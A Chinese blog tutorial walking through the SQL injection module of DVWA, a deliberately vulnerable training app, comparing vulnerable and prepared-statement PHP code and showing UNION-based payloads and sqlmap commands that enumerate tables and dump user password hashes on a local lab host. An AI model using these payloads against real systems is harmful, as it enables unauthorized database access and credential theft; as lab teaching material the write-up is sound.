• DVWA 黑客攻防演练(八)SQL 注入 SQL Injection


    web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段。如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使得SQL注入变得更困难,同时也让开发者对SQL注入漏洞放松警惕,甚至一些开发者是不知道有SQL注入这回事的。下面通过 dvwa 一起来了解下SQL注入的漏洞吧。

    低级

    界面如下

    功能很简单,就是输入 user Id,就显示对应的用户的 FirstName 和 SurName。 代码如下。

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    
        // Get results
        $num = mysql_numrows( $result );
        $i   = 0;
        while( $i < $num ) {
            // Get values
            $first = mysql_result( $result, $i, "first_name" );
            $last  = mysql_result( $result, $i, "last_name" );
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    
            // Increase loop count
            $i++;
        }
        mysql_close();
    }
    ?>
    

    Hacker 此时输入 1' or '1' = '1'

    就将 users 表数据全部拿到了。。。 因为 sql 变成了

    SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'`
    

    而 or 后面 '1' = '1' 永真,所以所有都符合这个条件了,就会把所有数据都能出来了。

    中级

    代码如下

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = mysql_real_escape_string( $id );
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    
        // Get results
        //... 
    }
    
    ?>
    

    多了个下拉选择。。。火狐或者 burp suite 改参数就行了。麻烦在于代码中 mysql_real_escape_string 会对这 5 个字符转义:

    • '
    • "
    • NULL
    • Control-Z

    但也仅仅对这5个字符转义,而从代码可以看到,代码没有检验参数。所以我们可以使用 union 关键字。

    结果如下

    高级

    高级的界面看得我一脸懵逼,为什么要弹出一个框,为什么要用 session?满脸问号 再看看代码。

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 
        //...
    }
    ?>
    

    还是不明白为什么要用 session,而这里主要是用LIMIT 1 限制了输出数据的长度。

    用注释符号的方式就可攻破了

    不可能

    • anti-token 机制防 CSRF 攻击
    • 检查 id 是不是数字
    • 使用 prepare 预编译再绑定变量a
    
    <?php 
    
    if( isset( $_GET[ 'Submit' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $id = $_GET[ 'id' ]; 
    
        // Was a number entered? 
        if(is_numeric( $id )) { 
            // Check the database 
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
            $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
            $data->execute(); 
            $row = $data->fetch(); 
    
            // Make sure only 1 result is returned 
            if( $data->rowCount() == 1 ) { 
                // Get values 
                $first = $row[ 'first_name' ]; 
                $last  = $row[ 'last_name' ]; 
    
                // Feedback for end user 
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
            } 
        } 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 
    

    注入的思路

    如果存在一个注入的漏洞,攻击者会如何攻击呢?以低级代码为例

    获取当前数据库

    输入 ' UNION ALL SELECT NULL, database()#
    SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';
    结果:

    ID: ' UNION ALL SELECT NULL, database()#
    First name:
    Surname: dvwa
    

    正在使用数据库是 dvwa

    获取数据库所有的表格

    输入 ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
    SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
    结果:

    ID: ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
    First name: 
    Surname: guestbook,users
    

    获取表格的所有字段

    输入 ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    结果:

    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: user_id
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: first_name
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: last_name
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: user
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: password
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: avatar
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: last_login
    
    ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
    First name: 
    Surname: failed_login
    

    获取用户及密码

    输入 ' UNION select user_id,password from users#
    SELECT first_name, last_name FROM users WHERE user_id = '' UNION select user_id,password from users#
    结果

    ID: ' UNION select user_id,password from users#
    First name: 1
    Surname: e10adc3949ba59abbe56e057f20f883e
    
    ID: ' UNION select user_id,password from users#
    First name: 2
    Surname: e99a18c428cb38d5f260853678922e03
    
    ID: ' UNION select user_id,password from users#
    First name: 3
    Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
    
    ID: ' UNION select user_id,password from users#
    First name: 4
    Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
    
    ID: ' UNION select user_id,password from users#
    First name: 5
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
    

    sqlmap

    自己一个个尝试比较麻烦,可以用 sqlmap 帮你扫一下,检查下sql注入的漏洞。不可能级别因为有 anti-token 的机制,就比较麻烦了,所以这里会尝试中级的代码(有转义字符串的)。 Kali Linux 在终端输入sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 其他的可以 python sqlmap.py -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 结果如下,

    意思是,可以用 boolean-base ,error-base 等几种类型注入

    再按照上面的流程来注入

    获取所有的数据库

    sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs

    available databases [4]:
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] performance_schema
    

    而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表

    获取 dvwa 所有的表

    sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables

    Database: dvwa
    [2 tables]
    +-----------+
    | guestbook |
    | users     |
    +-----------+
    

    获取users表的所有字段

    这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10

    Database: dvwa
    Table: users
    [8 columns]
    +--------------+-------------+
    | Column       | Type        |
    +--------------+-------------+
    | user         | varchar(15) |
    | avatar       | varchar(70) |
    | failed_login | int(3)      |
    | first_name   | varchar(15) |
    | last_login   | timestamp   |
    | last_name    | varchar(15) |
    | password     | varchar(32) |
    | user_id      | int(6)      |
    +--------------+-------------+
    

    获取用户及密码信息

    比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且还问你是否要用密码字典爆破,简直优秀,结果如下。

    Database: dvwa                                                                                                                     
    Table: users
    [5 entries]
    +---------+---------------------------------------------+
    | user    | password                                    |
    +---------+---------------------------------------------+
    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
    | admin   | e10adc3949ba59abbe56e057f20f883e (123456)   |
    | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
    | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
    | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
    +---------+---------------------------------------------+---------++---------++---------++---------++---------++---------++---------++---------++---------+
  • 相关阅读:
    【测试】form表单完成html测试20道页面排列
    CSS选择器与CSS的继承,层叠和特殊性
    css语法特点和引入页面三种方式与其优先级
    10——PHP中的两种数组【索引数组】与【关联数组】
    C++走向远洋——66(十五周阅读程序)
    C++走向远洋——65(十五周、项目一)
    STL容器的使用
    STL迭代器的使用、正向、逆向输出双向链表中的所有元素
    C++走向远洋——64(项目三、数组类模板)
    C++走向远洋——63(项目二2、两个成员的类模板)
  • 原文地址:https://www.cnblogs.com/jojo-feed/p/10173241.html
Copyright © 2020-2023  润新知